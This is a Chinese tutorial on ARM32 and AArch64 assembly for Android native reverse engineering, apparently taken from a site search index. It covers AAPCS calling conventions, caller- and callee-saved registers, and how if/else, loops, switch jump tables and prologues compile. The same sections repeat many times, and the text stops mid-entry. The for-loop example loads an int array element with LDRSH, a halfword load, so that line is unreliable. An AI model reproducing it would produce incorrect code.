实际例子：观察函数序言如何保存寄存器 ; ARM32 函数序言 - 保存要使用的被调用者保存寄存器 my_function: PUSH {R4, R5, R6, LR} ; 保存 R4-R6 (要使用) 和 LR (返回地址) SUB SP, SP, #16 ; 分配 16 字节局部变量空间 ; R0-R3 是参数，可以直接使用 MOV R4, R0 ; 将第一个参数保存到 R4 (调用其他函数后还需要用) BL other_function ; 调用其他函数 (R0-R3 可能被修改) ; R4 仍然保持之前的值，因为它是被调用者保存的 MOV R0, R4 ; 准备返回值 ADD SP, SP, #16 ; 释放局部变量空间 POP {R4, R5, R6, PC} ; 恢复寄存器并返回 ; AArch64 函数序言 my_function_a64: STP X29, X30, [SP, #-32]! ; 保存 FP, LR STP X19, X20, [SP, #16] ; 保存 callee-saved 寄存器 MOV X29, SP ; 建立栈帧 MOV X19, X0 ; 保存第一个参数 BL other_function MOV X0, X19 ; 使用保存的参数作为返回值 LDP X19, X20, [SP, #16] LDP X29, X30, [SP], #32 RET ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:4","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#函数调用约定-aapcs"},{"categories":null,"collections":null,"content":"函数调用约定 (AAPCS) AAPCS (ARM Architecture Procedure Call Standard) 定义了函数之间如何交互。逆向工程师必须理解这些约定才能正确分析函数的输入输出。 参数传递规则 ARM32 (AAPCS) 参数位置 寄存器 说明 第 1 个参数 R0 也用作返回值 第 2 个参数 R1 64 位参数可用 R0:R1 或 R2:R3 第 3 个参数 R2 第 4 个参数 R3 第 5+ 个参数 栈 按顺序压栈，第 5 个在 [SP]，第 6 个在 [SP, #4] AArch64 (AAPCS64) 参数位置 寄存器 说明 第 1 个参数 X0 也用作返回值 第 2 个参数 X1 第 3-8 个参数 X2-X7 第 9+ 个参数 栈 浮点参数 D0-D7 使用 SIMD/浮点寄存器 返回值 ; ARM32: 返回值在 R0 (32位) 或 R0:R1 (64位) ; 例: 返回 int MOV R0, #42 BX LR ; AArch64: 返回值在 X0 (64位) ; 例: 返回 int MOV X0, #42 RET 调用者保存 vs 被调用者保存 理解这个概念对识别函数边界非常重要： 类别 ARM32 寄存器 AArch64 寄存器 说明 调用者保存 (Caller-saved) R0-R3, R12 X0-X18 函数调用后可能被修改，调用者如需保留值必须自行保存 被调用者保存 (Callee-saved) R4-R11 X19-X28 被调用函数如果要使用，必须先保存、用完后恢复 特殊用途 SP, LR, PC SP, X29(FP), X30(LR) 有特定约定 实际例子：观察函数序言如何保存寄存器 ; ARM32 函数序言 - 保存要使用的被调用者保存寄存器 my_function: PUSH {R4, R5, R6, LR} ; 保存 R4-R6 (要使用) 和 LR (返回地址) SUB SP, SP, #16 ; 分配 16 字节局部变量空间 ; R0-R3 是参数，可以直接使用 MOV R4, R0 ; 将第一个参数保存到 R4 (调用其他函数后还需要用) BL other_function ; 调用其他函数 (R0-R3 可能被修改) ; R4 仍然保持之前的值，因为它是被调用者保存的 MOV R0, R4 ; 准备返回值 ADD SP, SP, #16 ; 释放局部变量空间 POP {R4, R5, R6, PC} ; 恢复寄存器并返回 ; AArch64 函数序言 my_function_a64: STP X29, X30, [SP, #-32]! ; 保存 FP, LR STP X19, X20, [SP, #16] ; 保存 callee-saved 寄存器 MOV X29, SP ; 建立栈帧 MOV X19, X0 ; 保存第一个参数 BL other_function MOV X0, X19 ; 使用保存的参数作为返回值 LDP X19, X20, [SP, #16] LDP X29, X30, [SP], #32 RET ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:4","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#参数传递规则"},{"categories":null,"collections":null,"content":"函数调用约定 (AAPCS) AAPCS (ARM Architecture Procedure Call Standard) 定义了函数之间如何交互。逆向工程师必须理解这些约定才能正确分析函数的输入输出。 参数传递规则 ARM32 (AAPCS) 参数位置 寄存器 说明 第 1 个参数 R0 也用作返回值 第 2 个参数 R1 64 位参数可用 R0:R1 或 R2:R3 第 3 个参数 R2 第 4 个参数 R3 第 5+ 个参数 栈 按顺序压栈，第 5 个在 [SP]，第 6 个在 [SP, #4] AArch64 (AAPCS64) 参数位置 寄存器 说明 第 1 个参数 X0 也用作返回值 第 2 个参数 X1 第 3-8 个参数 X2-X7 第 9+ 个参数 栈 浮点参数 D0-D7 使用 SIMD/浮点寄存器 返回值 ; ARM32: 返回值在 R0 (32位) 或 R0:R1 (64位) ; 例: 返回 int MOV R0, #42 BX LR ; AArch64: 返回值在 X0 (64位) ; 例: 返回 int MOV X0, #42 RET 调用者保存 vs 被调用者保存 理解这个概念对识别函数边界非常重要： 类别 ARM32 寄存器 AArch64 寄存器 说明 调用者保存 (Caller-saved) R0-R3, R12 X0-X18 函数调用后可能被修改，调用者如需保留值必须自行保存 被调用者保存 (Callee-saved) R4-R11 X19-X28 被调用函数如果要使用，必须先保存、用完后恢复 特殊用途 SP, LR, PC SP, X29(FP), X30(LR) 有特定约定 实际例子：观察函数序言如何保存寄存器 ; ARM32 函数序言 - 保存要使用的被调用者保存寄存器 my_function: PUSH {R4, R5, R6, LR} ; 保存 R4-R6 (要使用) 和 LR (返回地址) SUB SP, SP, #16 ; 分配 16 字节局部变量空间 ; R0-R3 是参数，可以直接使用 MOV R4, R0 ; 将第一个参数保存到 R4 (调用其他函数后还需要用) BL other_function ; 调用其他函数 (R0-R3 可能被修改) ; R4 仍然保持之前的值，因为它是被调用者保存的 MOV R0, R4 ; 准备返回值 ADD SP, SP, #16 ; 释放局部变量空间 POP {R4, R5, R6, PC} ; 恢复寄存器并返回 ; AArch64 函数序言 my_function_a64: STP X29, X30, [SP, #-32]! ; 保存 FP, LR STP X19, X20, [SP, #16] ; 保存 callee-saved 寄存器 MOV X29, SP ; 建立栈帧 MOV X19, X0 ; 保存第一个参数 BL other_function MOV X0, X19 ; 使用保存的参数作为返回值 LDP X19, X20, [SP, #16] LDP X29, X30, [SP], #32 RET ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:4","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#返回值"},{"categories":null,"collections":null,"content":"函数调用约定 (AAPCS) AAPCS (ARM Architecture Procedure Call Standard) 定义了函数之间如何交互。逆向工程师必须理解这些约定才能正确分析函数的输入输出。 参数传递规则 ARM32 (AAPCS) 参数位置 寄存器 说明 第 1 个参数 R0 也用作返回值 第 2 个参数 R1 64 位参数可用 R0:R1 或 R2:R3 第 3 个参数 R2 第 4 个参数 R3 第 5+ 个参数 栈 按顺序压栈，第 5 个在 [SP]，第 6 个在 [SP, #4] AArch64 (AAPCS64) 参数位置 寄存器 说明 第 1 个参数 X0 也用作返回值 第 2 个参数 X1 第 3-8 个参数 X2-X7 第 9+ 个参数 栈 浮点参数 D0-D7 使用 SIMD/浮点寄存器 返回值 ; ARM32: 返回值在 R0 (32位) 或 R0:R1 (64位) ; 例: 返回 int MOV R0, #42 BX LR ; AArch64: 返回值在 X0 (64位) ; 例: 返回 int MOV X0, #42 RET 调用者保存 vs 被调用者保存 理解这个概念对识别函数边界非常重要： 类别 ARM32 寄存器 AArch64 寄存器 说明 调用者保存 (Caller-saved) R0-R3, R12 X0-X18 函数调用后可能被修改，调用者如需保留值必须自行保存 被调用者保存 (Callee-saved) R4-R11 X19-X28 被调用函数如果要使用，必须先保存、用完后恢复 特殊用途 SP, LR, PC SP, X29(FP), X30(LR) 有特定约定 实际例子：观察函数序言如何保存寄存器 ; ARM32 函数序言 - 保存要使用的被调用者保存寄存器 my_function: PUSH {R4, R5, R6, LR} ; 保存 R4-R6 (要使用) 和 LR (返回地址) SUB SP, SP, #16 ; 分配 16 字节局部变量空间 ; R0-R3 是参数，可以直接使用 MOV R4, R0 ; 将第一个参数保存到 R4 (调用其他函数后还需要用) BL other_function ; 调用其他函数 (R0-R3 可能被修改) ; R4 仍然保持之前的值，因为它是被调用者保存的 MOV R0, R4 ; 准备返回值 ADD SP, SP, #16 ; 释放局部变量空间 POP {R4, R5, R6, PC} ; 恢复寄存器并返回 ; AArch64 函数序言 my_function_a64: STP X29, X30, [SP, #-32]! ; 保存 FP, LR STP X19, X20, [SP, #16] ; 保存 callee-saved 寄存器 MOV X29, SP ; 建立栈帧 MOV X19, X0 ; 保存第一个参数 BL other_function MOV X0, X19 ; 使用保存的参数作为返回值 LDP X19, X20, [SP, #16] LDP X29, X30, [SP], #32 RET ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:4","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#调用者保存-vs-被调用者保存"},{"categories":null,"collections":null,"content":"常见模式识别 逆向工程最重要的技能之一是在汇编中识别高级语言的结构。以下是常见的代码模式。 if/else 结构 // C 代码 if (a \u003e 10) { result = 1; } else { result = 0; } ; ARM32 汇编 CMP R0, #10 ; 比较 a 和 10 BLE .else_branch ; 如果 a \u003c= 10，跳到 else MOV R0, #1 ; result = 1 (if 分支) B .end_if ; 跳过 else .else_branch: MOV R0, #0 ; result = 0 (else 分支) .end_if: ; AArch64 可能使用条件选择指令代替分支 CMP W0, #10 MOV W1, #1 ; 准备 if 的值 MOV W2, #0 ; 准备 else 的值 CSEL W0, W1, W2, GT ; W0 = (a \u003e 10) ? W1 : W2 识别技巧 看到 CMP 后紧跟条件跳转 B.xx，这几乎一定是 if/else 结构。跳转目标就是 else 分支或 if 块结束的位置。注意条件码是反转的：C 代码中是 \u003e 10，汇编中跳转条件是 \u003c= 10 (BLE)，因为是\"不满足条件就跳过”。 for 循环 // C 代码 int sum = 0; for (int i = 0; i \u003c 10; i++) { sum += array[i]; } ; AArch64 汇编 MOV W0, #0 ; sum = 0 MOV W1, #0 ; i = 0 ADR X2, array ; X2 = 数组基地址 .loop_start: CMP W1, #10 ; i \u003c 10? B.GE .loop_end ; 如果 i \u003e= 10，退出循环 LDRSH W3, [X2, X1, LSL #2] ; W3 = array[i] (假设 int 数组) ADD W0, W0, W3 ; sum += array[i] ADD W1, W1, #1 ; i++ B .loop_start ; 跳回循环头部 .loop_end: 识别 for 循环的三要素 初始化：循环变量设为初始值 (MOV W1, #0) 条件检查：CMP + 条件跳转到循环体外 (CMP W1, #10; B.GE) 递增/递减：循环变量更新 (ADD W1, W1, #1) 后跳回条件检查处 编译器可能将条件检查放在循环末尾（do-while 优化），这时结构变为：先跳到末尾检查，循环体在前，条件判断在后。 while 循环 // C 代码 while (ptr != NULL) { process(ptr); ptr = ptr-\u003enext; } ; AArch64 汇编 ; X19 = ptr (使用 callee-saved 寄存器保存) .while_check: CBZ X19, .while_end ; if (ptr == NULL) 跳出 MOV X0, X19 ; 第一个参数 = ptr BL process ; 调用 process(ptr) LDR X19, [X19, #8] ; ptr = ptr-\u003enext (假设 next 在偏移 +8) B .while_check ; 回到条件检查 .while_end: switch-case 结构 switch-case 有多种编译方式，最常见的是跳转表 (jump table)。 // C 代码 switch (cmd) { case 0: action_a(); break; case 1: action_b(); break; case 2: action_c(); break; default: action_default(); break; } ; AArch64 汇编 (跳转表实现) CMP W0, #2 ; cmd 和最大 case 值比较 B.HI .default_case ; 无符号大于 2，跳到 default ADR X1, .jump_table ; 取跳转表基地址 LDRSW X2, [X1, X0, LSL #2] ; 从跳转表加载偏移 ADD X1, X1, X2 ; 计算目标地址 BR X1 ; 跳转到对应 case .jump_table: .word .case_0 - .jump_table .word .case_1 - .jump_table .word .case_2 - .jump_table .case_0: BL action_a B .switch_end .case_1: BL action_b B .switch_end .case_2: BL action_c B .switch_end .default_case: BL action_default .switch_end: 在 IDA/Ghidra 中识别 switch 当你看到一个 CMP 后跟范围检查 (B.HI 或 B.HS)，然后有一个 ADR + 表加载 + BR 的组合时，这就是一个跳转表实现的 switch。IDA 通常能自动识别并显示为 switch jump 注释。如果识别不了，可以手动指定跳转表。 函数序言/结语 (Prologue/Epilogue) 这是最重要的模式之一，因为它标志着函数的边界。 ; === ARM32 典型函数序言/结语 === func_arm32: ; --- 序言 (Prologue) --- PUSH {R4-R7, LR} ; 保存被调用者保存寄存器和返回地址 SUB SP, SP, #20 ; 为局部变量分配栈空间 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- ADD SP, SP, #20 ; 释放局部变量空间 POP {R4-R7, PC} ; 恢复寄存器，将 LR 弹到 PC 实现返回 ; === AArch64 典型函数序言/结语 === func_aarch64: ; --- 序言 (Prologue) --- STP X29, X30, [SP, #-32]! ; 保存 FP 和 LR STP X19, X20, [SP, #16] ; 保存将要使用的 callee-saved 寄存器 MOV X29, SP ; 建立帧指针 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- LDP X19, X20, [SP, #16] ; 恢复 callee-saved 寄存器 LDP X29, X30, [SP], #32 ; 恢复 FP 和 LR RET ; 返回 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:5","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#常见模式识别"},{"categories":null,"collections":null,"content":"常见模式识别 逆向工程最重要的技能之一是在汇编中识别高级语言的结构。以下是常见的代码模式。 if/else 结构 // C 代码 if (a \u003e 10) { result = 1; } else { result = 0; } ; ARM32 汇编 CMP R0, #10 ; 比较 a 和 10 BLE .else_branch ; 如果 a \u003c= 10，跳到 else MOV R0, #1 ; result = 1 (if 分支) B .end_if ; 跳过 else .else_branch: MOV R0, #0 ; result = 0 (else 分支) .end_if: ; AArch64 可能使用条件选择指令代替分支 CMP W0, #10 MOV W1, #1 ; 准备 if 的值 MOV W2, #0 ; 准备 else 的值 CSEL W0, W1, W2, GT ; W0 = (a \u003e 10) ? W1 : W2 识别技巧 看到 CMP 后紧跟条件跳转 B.xx，这几乎一定是 if/else 结构。跳转目标就是 else 分支或 if 块结束的位置。注意条件码是反转的：C 代码中是 \u003e 10，汇编中跳转条件是 \u003c= 10 (BLE)，因为是\"不满足条件就跳过”。 for 循环 // C 代码 int sum = 0; for (int i = 0; i \u003c 10; i++) { sum += array[i]; } ; AArch64 汇编 MOV W0, #0 ; sum = 0 MOV W1, #0 ; i = 0 ADR X2, array ; X2 = 数组基地址 .loop_start: CMP W1, #10 ; i \u003c 10? B.GE .loop_end ; 如果 i \u003e= 10，退出循环 LDRSH W3, [X2, X1, LSL #2] ; W3 = array[i] (假设 int 数组) ADD W0, W0, W3 ; sum += array[i] ADD W1, W1, #1 ; i++ B .loop_start ; 跳回循环头部 .loop_end: 识别 for 循环的三要素 初始化：循环变量设为初始值 (MOV W1, #0) 条件检查：CMP + 条件跳转到循环体外 (CMP W1, #10; B.GE) 递增/递减：循环变量更新 (ADD W1, W1, #1) 后跳回条件检查处 编译器可能将条件检查放在循环末尾（do-while 优化），这时结构变为：先跳到末尾检查，循环体在前，条件判断在后。 while 循环 // C 代码 while (ptr != NULL) { process(ptr); ptr = ptr-\u003enext; } ; AArch64 汇编 ; X19 = ptr (使用 callee-saved 寄存器保存) .while_check: CBZ X19, .while_end ; if (ptr == NULL) 跳出 MOV X0, X19 ; 第一个参数 = ptr BL process ; 调用 process(ptr) LDR X19, [X19, #8] ; ptr = ptr-\u003enext (假设 next 在偏移 +8) B .while_check ; 回到条件检查 .while_end: switch-case 结构 switch-case 有多种编译方式，最常见的是跳转表 (jump table)。 // C 代码 switch (cmd) { case 0: action_a(); break; case 1: action_b(); break; case 2: action_c(); break; default: action_default(); break; } ; AArch64 汇编 (跳转表实现) CMP W0, #2 ; cmd 和最大 case 值比较 B.HI .default_case ; 无符号大于 2，跳到 default ADR X1, .jump_table ; 取跳转表基地址 LDRSW X2, [X1, X0, LSL #2] ; 从跳转表加载偏移 ADD X1, X1, X2 ; 计算目标地址 BR X1 ; 跳转到对应 case .jump_table: .word .case_0 - .jump_table .word .case_1 - .jump_table .word .case_2 - .jump_table .case_0: BL action_a B .switch_end .case_1: BL action_b B .switch_end .case_2: BL action_c B .switch_end .default_case: BL action_default .switch_end: 在 IDA/Ghidra 中识别 switch 当你看到一个 CMP 后跟范围检查 (B.HI 或 B.HS)，然后有一个 ADR + 表加载 + BR 的组合时，这就是一个跳转表实现的 switch。IDA 通常能自动识别并显示为 switch jump 注释。如果识别不了，可以手动指定跳转表。 函数序言/结语 (Prologue/Epilogue) 这是最重要的模式之一，因为它标志着函数的边界。 ; === ARM32 典型函数序言/结语 === func_arm32: ; --- 序言 (Prologue) --- PUSH {R4-R7, LR} ; 保存被调用者保存寄存器和返回地址 SUB SP, SP, #20 ; 为局部变量分配栈空间 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- ADD SP, SP, #20 ; 释放局部变量空间 POP {R4-R7, PC} ; 恢复寄存器，将 LR 弹到 PC 实现返回 ; === AArch64 典型函数序言/结语 === func_aarch64: ; --- 序言 (Prologue) --- STP X29, X30, [SP, #-32]! ; 保存 FP 和 LR STP X19, X20, [SP, #16] ; 保存将要使用的 callee-saved 寄存器 MOV X29, SP ; 建立帧指针 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- LDP X19, X20, [SP, #16] ; 恢复 callee-saved 寄存器 LDP X29, X30, [SP], #32 ; 恢复 FP 和 LR RET ; 返回 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:5","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#ifelse-结构"},{"categories":null,"collections":null,"content":"常见模式识别 逆向工程最重要的技能之一是在汇编中识别高级语言的结构。以下是常见的代码模式。 if/else 结构 // C 代码 if (a \u003e 10) { result = 1; } else { result = 0; } ; ARM32 汇编 CMP R0, #10 ; 比较 a 和 10 BLE .else_branch ; 如果 a \u003c= 10，跳到 else MOV R0, #1 ; result = 1 (if 分支) B .end_if ; 跳过 else .else_branch: MOV R0, #0 ; result = 0 (else 分支) .end_if: ; AArch64 可能使用条件选择指令代替分支 CMP W0, #10 MOV W1, #1 ; 准备 if 的值 MOV W2, #0 ; 准备 else 的值 CSEL W0, W1, W2, GT ; W0 = (a \u003e 10) ? W1 : W2 识别技巧 看到 CMP 后紧跟条件跳转 B.xx，这几乎一定是 if/else 结构。跳转目标就是 else 分支或 if 块结束的位置。注意条件码是反转的：C 代码中是 \u003e 10，汇编中跳转条件是 \u003c= 10 (BLE)，因为是\"不满足条件就跳过”。 for 循环 // C 代码 int sum = 0; for (int i = 0; i \u003c 10; i++) { sum += array[i]; } ; AArch64 汇编 MOV W0, #0 ; sum = 0 MOV W1, #0 ; i = 0 ADR X2, array ; X2 = 数组基地址 .loop_start: CMP W1, #10 ; i \u003c 10? B.GE .loop_end ; 如果 i \u003e= 10，退出循环 LDRSH W3, [X2, X1, LSL #2] ; W3 = array[i] (假设 int 数组) ADD W0, W0, W3 ; sum += array[i] ADD W1, W1, #1 ; i++ B .loop_start ; 跳回循环头部 .loop_end: 识别 for 循环的三要素 初始化：循环变量设为初始值 (MOV W1, #0) 条件检查：CMP + 条件跳转到循环体外 (CMP W1, #10; B.GE) 递增/递减：循环变量更新 (ADD W1, W1, #1) 后跳回条件检查处 编译器可能将条件检查放在循环末尾（do-while 优化），这时结构变为：先跳到末尾检查，循环体在前，条件判断在后。 while 循环 // C 代码 while (ptr != NULL) { process(ptr); ptr = ptr-\u003enext; } ; AArch64 汇编 ; X19 = ptr (使用 callee-saved 寄存器保存) .while_check: CBZ X19, .while_end ; if (ptr == NULL) 跳出 MOV X0, X19 ; 第一个参数 = ptr BL process ; 调用 process(ptr) LDR X19, [X19, #8] ; ptr = ptr-\u003enext (假设 next 在偏移 +8) B .while_check ; 回到条件检查 .while_end: switch-case 结构 switch-case 有多种编译方式，最常见的是跳转表 (jump table)。 // C 代码 switch (cmd) { case 0: action_a(); break; case 1: action_b(); break; case 2: action_c(); break; default: action_default(); break; } ; AArch64 汇编 (跳转表实现) CMP W0, #2 ; cmd 和最大 case 值比较 B.HI .default_case ; 无符号大于 2，跳到 default ADR X1, .jump_table ; 取跳转表基地址 LDRSW X2, [X1, X0, LSL #2] ; 从跳转表加载偏移 ADD X1, X1, X2 ; 计算目标地址 BR X1 ; 跳转到对应 case .jump_table: .word .case_0 - .jump_table .word .case_1 - .jump_table .word .case_2 - .jump_table .case_0: BL action_a B .switch_end .case_1: BL action_b B .switch_end .case_2: BL action_c B .switch_end .default_case: BL action_default .switch_end: 在 IDA/Ghidra 中识别 switch 当你看到一个 CMP 后跟范围检查 (B.HI 或 B.HS)，然后有一个 ADR + 表加载 + BR 的组合时，这就是一个跳转表实现的 switch。IDA 通常能自动识别并显示为 switch jump 注释。如果识别不了，可以手动指定跳转表。 函数序言/结语 (Prologue/Epilogue) 这是最重要的模式之一，因为它标志着函数的边界。 ; === ARM32 典型函数序言/结语 === func_arm32: ; --- 序言 (Prologue) --- PUSH {R4-R7, LR} ; 保存被调用者保存寄存器和返回地址 SUB SP, SP, #20 ; 为局部变量分配栈空间 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- ADD SP, SP, #20 ; 释放局部变量空间 POP {R4-R7, PC} ; 恢复寄存器，将 LR 弹到 PC 实现返回 ; === AArch64 典型函数序言/结语 === func_aarch64: ; --- 序言 (Prologue) --- STP X29, X30, [SP, #-32]! ; 保存 FP 和 LR STP X19, X20, [SP, #16] ; 保存将要使用的 callee-saved 寄存器 MOV X29, SP ; 建立帧指针 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- LDP X19, X20, [SP, #16] ; 恢复 callee-saved 寄存器 LDP X29, X30, [SP], #32 ; 恢复 FP 和 LR RET ; 返回 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:5","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#for-循环"},{"categories":null,"collections":null,"content":"常见模式识别 逆向工程最重要的技能之一是在汇编中识别高级语言的结构。以下是常见的代码模式。 if/else 结构 // C 代码 if (a \u003e 10) { result = 1; } else { result = 0; } ; ARM32 汇编 CMP R0, #10 ; 比较 a 和 10 BLE .else_branch ; 如果 a \u003c= 10，跳到 else MOV R0, #1 ; result = 1 (if 分支) B .end_if ; 跳过 else .else_branch: MOV R0, #0 ; result = 0 (else 分支) .end_if: ; AArch64 可能使用条件选择指令代替分支 CMP W0, #10 MOV W1, #1 ; 准备 if 的值 MOV W2, #0 ; 准备 else 的值 CSEL W0, W1, W2, GT ; W0 = (a \u003e 10) ? W1 : W2 识别技巧 看到 CMP 后紧跟条件跳转 B.xx，这几乎一定是 if/else 结构。跳转目标就是 else 分支或 if 块结束的位置。注意条件码是反转的：C 代码中是 \u003e 10，汇编中跳转条件是 \u003c= 10 (BLE)，因为是\"不满足条件就跳过”。 for 循环 // C 代码 int sum = 0; for (int i = 0; i \u003c 10; i++) { sum += array[i]; } ; AArch64 汇编 MOV W0, #0 ; sum = 0 MOV W1, #0 ; i = 0 ADR X2, array ; X2 = 数组基地址 .loop_start: CMP W1, #10 ; i \u003c 10? B.GE .loop_end ; 如果 i \u003e= 10，退出循环 LDRSH W3, [X2, X1, LSL #2] ; W3 = array[i] (假设 int 数组) ADD W0, W0, W3 ; sum += array[i] ADD W1, W1, #1 ; i++ B .loop_start ; 跳回循环头部 .loop_end: 识别 for 循环的三要素 初始化：循环变量设为初始值 (MOV W1, #0) 条件检查：CMP + 条件跳转到循环体外 (CMP W1, #10; B.GE) 递增/递减：循环变量更新 (ADD W1, W1, #1) 后跳回条件检查处 编译器可能将条件检查放在循环末尾（do-while 优化），这时结构变为：先跳到末尾检查，循环体在前，条件判断在后。 while 循环 // C 代码 while (ptr != NULL) { process(ptr); ptr = ptr-\u003enext; } ; AArch64 汇编 ; X19 = ptr (使用 callee-saved 寄存器保存) .while_check: CBZ X19, .while_end ; if (ptr == NULL) 跳出 MOV X0, X19 ; 第一个参数 = ptr BL process ; 调用 process(ptr) LDR X19, [X19, #8] ; ptr = ptr-\u003enext (假设 next 在偏移 +8) B .while_check ; 回到条件检查 .while_end: switch-case 结构 switch-case 有多种编译方式，最常见的是跳转表 (jump table)。 // C 代码 switch (cmd) { case 0: action_a(); break; case 1: action_b(); break; case 2: action_c(); break; default: action_default(); break; } ; AArch64 汇编 (跳转表实现) CMP W0, #2 ; cmd 和最大 case 值比较 B.HI .default_case ; 无符号大于 2，跳到 default ADR X1, .jump_table ; 取跳转表基地址 LDRSW X2, [X1, X0, LSL #2] ; 从跳转表加载偏移 ADD X1, X1, X2 ; 计算目标地址 BR X1 ; 跳转到对应 case .jump_table: .word .case_0 - .jump_table .word .case_1 - .jump_table .word .case_2 - .jump_table .case_0: BL action_a B .switch_end .case_1: BL action_b B .switch_end .case_2: BL action_c B .switch_end .default_case: BL action_default .switch_end: 在 IDA/Ghidra 中识别 switch 当你看到一个 CMP 后跟范围检查 (B.HI 或 B.HS)，然后有一个 ADR + 表加载 + BR 的组合时，这就是一个跳转表实现的 switch。IDA 通常能自动识别并显示为 switch jump 注释。如果识别不了，可以手动指定跳转表。 函数序言/结语 (Prologue/Epilogue) 这是最重要的模式之一，因为它标志着函数的边界。 ; === ARM32 典型函数序言/结语 === func_arm32: ; --- 序言 (Prologue) --- PUSH {R4-R7, LR} ; 保存被调用者保存寄存器和返回地址 SUB SP, SP, #20 ; 为局部变量分配栈空间 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- ADD SP, SP, #20 ; 释放局部变量空间 POP {R4-R7, PC} ; 恢复寄存器，将 LR 弹到 PC 实现返回 ; === AArch64 典型函数序言/结语 === func_aarch64: ; --- 序言 (Prologue) --- STP X29, X30, [SP, #-32]! ; 保存 FP 和 LR STP X19, X20, [SP, #16] ; 保存将要使用的 callee-saved 寄存器 MOV X29, SP ; 建立帧指针 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- LDP X19, X20, [SP, #16] ; 恢复 callee-saved 寄存器 LDP X29, X30, [SP], #32 ; 恢复 FP 和 LR RET ; 返回 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:5","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#while-循环"},{"categories":null,"collections":null,"content":"常见模式识别 逆向工程最重要的技能之一是在汇编中识别高级语言的结构。以下是常见的代码模式。 if/else 结构 // C 代码 if (a \u003e 10) { result = 1; } else { result = 0; } ; ARM32 汇编 CMP R0, #10 ; 比较 a 和 10 BLE .else_branch ; 如果 a \u003c= 10，跳到 else MOV R0, #1 ; result = 1 (if 分支) B .end_if ; 跳过 else .else_branch: MOV R0, #0 ; result = 0 (else 分支) .end_if: ; AArch64 可能使用条件选择指令代替分支 CMP W0, #10 MOV W1, #1 ; 准备 if 的值 MOV W2, #0 ; 准备 else 的值 CSEL W0, W1, W2, GT ; W0 = (a \u003e 10) ? W1 : W2 识别技巧 看到 CMP 后紧跟条件跳转 B.xx，这几乎一定是 if/else 结构。跳转目标就是 else 分支或 if 块结束的位置。注意条件码是反转的：C 代码中是 \u003e 10，汇编中跳转条件是 \u003c= 10 (BLE)，因为是\"不满足条件就跳过”。 for 循环 // C 代码 int sum = 0; for (int i = 0; i \u003c 10; i++) { sum += array[i]; } ; AArch64 汇编 MOV W0, #0 ; sum = 0 MOV W1, #0 ; i = 0 ADR X2, array ; X2 = 数组基地址 .loop_start: CMP W1, #10 ; i \u003c 10? B.GE .loop_end ; 如果 i \u003e= 10，退出循环 LDRSH W3, [X2, X1, LSL #2] ; W3 = array[i] (假设 int 数组) ADD W0, W0, W3 ; sum += array[i] ADD W1, W1, #1 ; i++ B .loop_start ; 跳回循环头部 .loop_end: 识别 for 循环的三要素 初始化：循环变量设为初始值 (MOV W1, #0) 条件检查：CMP + 条件跳转到循环体外 (CMP W1, #10; B.GE) 递增/递减：循环变量更新 (ADD W1, W1, #1) 后跳回条件检查处 编译器可能将条件检查放在循环末尾（do-while 优化），这时结构变为：先跳到末尾检查，循环体在前，条件判断在后。 while 循环 // C 代码 while (ptr != NULL) { process(ptr); ptr = ptr-\u003enext; } ; AArch64 汇编 ; X19 = ptr (使用 callee-saved 寄存器保存) .while_check: CBZ X19, .while_end ; if (ptr == NULL) 跳出 MOV X0, X19 ; 第一个参数 = ptr BL process ; 调用 process(ptr) LDR X19, [X19, #8] ; ptr = ptr-\u003enext (假设 next 在偏移 +8) B .while_check ; 回到条件检查 .while_end: switch-case 结构 switch-case 有多种编译方式，最常见的是跳转表 (jump table)。 // C 代码 switch (cmd) { case 0: action_a(); break; case 1: action_b(); break; case 2: action_c(); break; default: action_default(); break; } ; AArch64 汇编 (跳转表实现) CMP W0, #2 ; cmd 和最大 case 值比较 B.HI .default_case ; 无符号大于 2，跳到 default ADR X1, .jump_table ; 取跳转表基地址 LDRSW X2, [X1, X0, LSL #2] ; 从跳转表加载偏移 ADD X1, X1, X2 ; 计算目标地址 BR X1 ; 跳转到对应 case .jump_table: .word .case_0 - .jump_table .word .case_1 - .jump_table .word .case_2 - .jump_table .case_0: BL action_a B .switch_end .case_1: BL action_b B .switch_end .case_2: BL action_c B .switch_end .default_case: 